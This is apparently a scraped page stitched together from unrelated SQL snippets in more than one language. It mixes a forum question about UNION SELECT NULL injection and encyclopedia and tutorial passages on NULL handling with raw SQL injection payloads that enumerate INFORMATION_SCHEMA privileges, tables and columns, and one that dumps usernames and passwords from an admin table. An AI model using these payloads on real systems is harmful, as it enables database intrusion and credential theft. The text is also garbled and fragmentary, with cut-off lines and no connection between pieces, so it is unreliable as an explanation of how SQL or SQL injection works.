(select 1 from(select count(*), concat(( select( select unhex(hex
Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
qndbq7bbxilyCzFA') UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716e646271,IFNULL(CAST(grantee AS CHAR),0x20),0x716a716771),NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#qjqgq.
Since Null is not a member of any data domain, it is not considered a "value", but rather a marker (or placeholder) indicating the absence of value. Because of this, comparisons with Null can never result in either True or False, but always in a third logical result, Unknown.[8] The logical result of the...
99 or 1=1 union select null, concat(table_name,0x0a,column_name) from information_ schema.columns - since where clause cannot be used
SELECT COLUMN_NAME, COUNT(COLUMN_NAME) AS COUNT_NOT_NULL FROM myDB.INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'myTable'; Obviously, the "information-meta-table" doesn't have the data from myTable to count.
select, is obvious. null, is just a place holder that is used because a union statement requires that the number of fields match the 1st query that it’s appending to.
The IS NOT NULL operator is used to test for non-empty values (NOT NULL values). The following SQL lists all customers with a value in the "Address" field: Example. SELECT CustomerName, ContactName, Address FROM Customers WHERE Address IS NOT NULL
Предикат IS NULL позволяет проверить отсутствие (наличие) значения в полях таблицы. Использование в этих случаях обычных предикатов сравнения может привести к неверным результатам, так как сравнение со значением NULL дает результат UNKNOWN (неизвестно).
-1 UNION SELECT group_concat(username, 0x3a, password) FROM admin.